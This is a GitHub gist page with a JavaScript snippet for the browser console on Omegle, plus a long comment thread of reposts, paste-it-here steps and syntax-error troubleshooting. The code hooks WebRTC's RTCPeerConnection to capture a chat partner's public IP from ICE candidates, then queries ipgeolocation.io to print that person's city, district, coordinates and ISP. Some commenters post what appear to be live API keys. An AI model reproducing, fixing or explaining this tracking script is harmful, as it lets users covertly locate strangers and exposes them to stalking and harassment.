-
Star
(207)
You must be signed in to star a gist -
Fork
(74)
You must be signed in to fork a gist
-
-
Save mattupham/8db8da9662dca830ec81b43b30eb8a6d to your computer and use it in GitHub Desktop.
// Subscribe on YouTube, and follow on TikTok (@mattupham)! Socials found below: | |
// https://mattupham.com/links | |
// @ me on Discord with any questions! | |
https://link.mattupham.com/discord | |
// -------------------------------------------- | |
// PLEASE REPLACE "your-api-key-here" WITH AN | |
// API KEY FROM https://ipgeolocation.io/ | |
let apiKey = "your-api-key-here"; | |
window.oRTCPeerConnection = | |
window.oRTCPeerConnection || window.RTCPeerConnection; | |
window.RTCPeerConnection = function (...args) { | |
const pc = new window.oRTCPeerConnection(...args); | |
pc.oaddIceCandidate = pc.addIceCandidate; | |
pc.addIceCandidate = function (iceCandidate, ...rest) { | |
const fields = iceCandidate.candidate.split(" "); | |
console.log(iceCandidate.candidate); | |
const ip = fields[4]; | |
if (fields[7] === "srflx") { | |
getLocation(ip); | |
} | |
return pc.oaddIceCandidate(iceCandidate, ...rest); | |
}; | |
return pc; | |
}; | |
let getLocation = async (ip) => { | |
let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}`; | |
await fetch(url).then((response) => | |
response.json().then((json) => { | |
const output = ` | |
--------------------- | |
Country: ${json.country_name} | |
State: ${json.state_prov} | |
City: ${json.city} | |
District: ${json.district} | |
Lat / Long: (${json.latitude}, ${json.longitude}) | |
--------------------- | |
`; | |
console.log(output); | |
}) | |
); | |
}; |
we are anonymous.
lol
the code is been fixed
just put api key from https://ipgeolocation.io/
create a acc in that website copy ur api key and just put it in "const apiKey = "your-api-key"; here and just
hit enter
const apiKey = "your-api-key";
window.oRTCPeerConnection =
window.oRTCPeerConnection || window.RTCPeerConnection;
window.RTCPeerConnection = function (...args) {
const pc = new window.oRTCPeerConnection(...args);
pc.oaddIceCandidate = pc.addIceCandidate;
pc.addIceCandidate = function (iceCandidate, ...rest) {
const fields = iceCandidate.candidate.split(" ");
console.log(iceCandidate.candidate);
const ip = fields[4];
if (fields[7] === "srflx") {
getLocation(ip);
}
return pc.oaddIceCandidate(iceCandidate, ...rest);
};
return pc;
};
const getLocation = async (ip) => {
let url = https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}
;
await fetch(url).then((response) =>
response.json().then((json) => {
const output = --------------------- Country: ${json.country_name} State: ${json.state_prov} City: ${json.city} District: ${json.district} Lat / Long: (${json.latitude}, ${json.longitude}) ---------------------
;
console.log(output);
})
);
};
please give me the final code, I'm quite confused. I have the API key and I have replaced it, but it shows this
(...args) {
const pc = new window.oRTCPeerConnection(...args);
pc.oaddIceCandidate = pc.addIceCandidate;
pc.addIceCandidate = function (iceCandidate, ...rest) {
const fields = iceCandidat…
if you see this
Country: undefined
State: undefined
City: undefined
District: undefined
Lat / Long: (undefined, undefined)
Sing up in ipgeolocation.io
and take API keys and past them in script
I try this and worked
I keep on getting -> Uncaught SyntaxError: Missing } in template expression on Line 34. Please help with the fix
keeps saying "Uncaught SyntaxError: Unexpected token ':'"
Your token is either broken or you didn't put it there
[Violation] 'click' handler took 155ms
[Violation] Forced reflow while executing JavaScript took 98ms
[Violation] 'setTimeout' handler took 53ms
[Violation] Forced reflow while executing JavaScript took 109ms
omegle.js?663:2 [Violation] 'setInterval' handler took 55ms
omegle.js?663:2 [Violation] 'setInterval' handler took 50ms
help me i only can get this out put
u can try this insted
window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection
window.RTCPeerConnection = function(...args) { const pc = new window.oRTCPeerConnection(...args)
pc.oaddIceCandidate = pc.addIceCandidate
pc.addIceCandidate = function(iceCandidate, ...rest) { const fields = iceCandidate.candidate.split(' ')
if (fields[7] === 'srflx') { console.log('IP Address:', fields[4]) } return pc.oaddIceCandidate(iceCandidate, ...rest)
}
return pc }
this works thanks
illegal return statement it says
When i pasted it in console nothing happens
VM419:25 GET https://api.ipgeolocation.io/ipgeo?const%20apiKey=$08e3f07bcb25499192b895276e5ee5ad78.190.41.209 401
WHAT DOES IT MEAN ?? ANYONE HELP
hey i did that and it still doesn't work what else can i do??
i get all Country: undefined
State: undefined
City: undefined
District: undefined
Lat / Long: (undefined, undefined)
and i get new API key and still don't work
i changed my api key atleast 5 times and it still doesn't work
Country: undefined State: undefined City: undefined District: undefined Lat / Long: (undefined, undefined) THIS IS THE OUTPUT , HOW TO GET IT CORRECT
Please use your API
Talysonss 44yyy
Talysonss
Talysonss
When I run the code in the Console it says: Uncaught SyntaxError: Identifier 'getLocation' has already been declared
Can someone tell me how to fix this?
For me, I had to use the console.debug(output) and in the console, check the "Verbose" under "All levels" dropdown
Let me tell you how to use this script (if you already have the api key), go to omegle's main web and DO NOT TOUCH ANYTHING, now follow the next steps:
- Press right click.
- Select the option 'inspect element'.
- Go to the console's section and paste the code, I'll write it again but this code will also tell you the user's IP and the provider:
let apiKey = "your-api-key";
window.oRTCPeerConnection =
window.oRTCPeerConnection || window.RTCPeerConnection;
window.RTCPeerConnection = function (...args) {
const pc = new window.oRTCPeerConnection(...args);
pc.oaddIceCandidate = pc.addIceCandidate;
pc.addIceCandidate = function (iceCandidate, ...rest) {
const fields = iceCandidate.candidate.split(" ");
console.log(iceCandidate.candidate);
const ip = fields[4];
if (fields[7] === "srflx") {
getLocation(ip);
}
return pc.oaddIceCandidate(iceCandidate, ...rest);
};
return pc;
};
let getLocation = async (ip) => {
let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}`;
await fetch(url).then((response) =>
response.json().then((json) => {
const output = `
---------------------
Country: ${json.country_name}
State: ${json.state_prov}
City: ${json.city}
District: ${json.district}
Lat / Long: (${json.latitude}, ${json.longitude})
IP: ${ip}
Provider: ${json.isp}
---------------------
`;
console.log(output);
})
);
};
- Remember to not to add the starting and the final triple quote (```). [IGNORE THIS IF YOU CAN COPY THE CODE CORRECTLY]
-
Click enter.
And everything should be good. I won't be showing any real example but it should've worked, it'll look like this:
If you have any questions, tell me! Remember that this script only works for the video section. Do not use this script with bad intentions.
By the way, you'll probably get the "I'm not a robot" thing (
)
Just do it and everything should be good! Byee hope this helps
Let me tell you how to use this script (if you already have the api key), go to omegle's main web and DO NOT TOUCH ANYTHING, now follow the next steps:
- Press right click.
- Select the option 'inspect element'.
- Go to the console's section and paste the code, I'll write it again but this code will also tell you the user's IP and the provider:
let apiKey = "your-api-key"; window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection; window.RTCPeerConnection = function (...args) { const pc = new window.oRTCPeerConnection(...args); pc.oaddIceCandidate = pc.addIceCandidate; pc.addIceCandidate = function (iceCandidate, ...rest) { const fields = iceCandidate.candidate.split(" "); console.log(iceCandidate.candidate); const ip = fields[4]; if (fields[7] === "srflx") { getLocation(ip); } return pc.oaddIceCandidate(iceCandidate, ...rest); }; return pc; }; let getLocation = async (ip) => { let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}`; await fetch(url).then((response) => response.json().then((json) => { const output = ` --------------------- Country: ${json.country_name} State: ${json.state_prov} City: ${json.city} District: ${json.district} Lat / Long: (${json.latitude}, ${json.longitude}) IP: ${ip} Provider: ${json.isp} --------------------- `; console.log(output); }) ); };
- Remember to not to add the starting and the final triple quote (```). [IGNORE THIS IF YOU CAN COPY THE CODE CORRECTLY]
- Click enter.
- Clear the console by pressing this button (the circle):
- Now everything's ready! Simply click on video (OBLIGATORY):
And everything should be good. I won't be showing any real example but it should've worked, it'll look like this:
If you have any questions, tell me! Remember that this script only works for the video section. Do not use this script with bad intentions.
By the way, you'll probably get the "I'm not a robot" thing (
) Just do it and everything should be good! Byee hope this helps
idk why it isnt working for me, but all i get is "caught SyntaxError: Unexpected token ':'"
I copy and paste your text exactly as is, and fill in the your-api-key with mine as needed.
Any idea?
sorry it doesn't work for me, I did all the steps including getting the api Key, but when I press "execute" it indicates me a syntax error
what should I do please?
same
heres mine
let apiKey = e4cd3b65c9b645baa867e1d73dd504fc;
window.oRTCPeerConnection =
window.oRTCPeerConnection || window.RTCPeerConnection;
window.RTCPeerConnection = function (...args) {
const pc = new window.oRTCPeerConnection(...args);
pc.oaddIceCandidate = pc.addIceCandidate;
pc.addIceCandidate = function (iceCandidate, ...rest) {
const fields = iceCandidate.candidate.split(" ");
console.log(iceCandidate.candidate);
const ip = fields[4];
if (fields[7] === "srflx") {
getLocation(ip);
}
return pc.oaddIceCandidate(iceCandidate, ...rest);
};
return pc;
};
let getLocation = async (ip) => {
let url = https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}
;
await fetch(url).then((response) =>
response.json().then((json) => {
const output = --------------------- Country: ${json.country_name} State: ${json.state_prov} City: ${json.city} District: ${json.district} Lat / Long: (${json.latitude}, ${json.longitude}) IP: ${ip} Provider: ${json.isp} ---------------------
;
console.log(output);
})
);
};
Thanks for taking your time to do this, did it work for you ? unfortunately it didn't for me, still shows the error message. Ill try to figure it out or retry with your script and aPi key, anyways thanks a lot !!
Use this script guys https://github.com/Deathpoolxrs/Omgele-IP-Location-Finder/blob/main/script.txt
@Deathpoolxrs Does it work with omegle me?
check ur whatsapp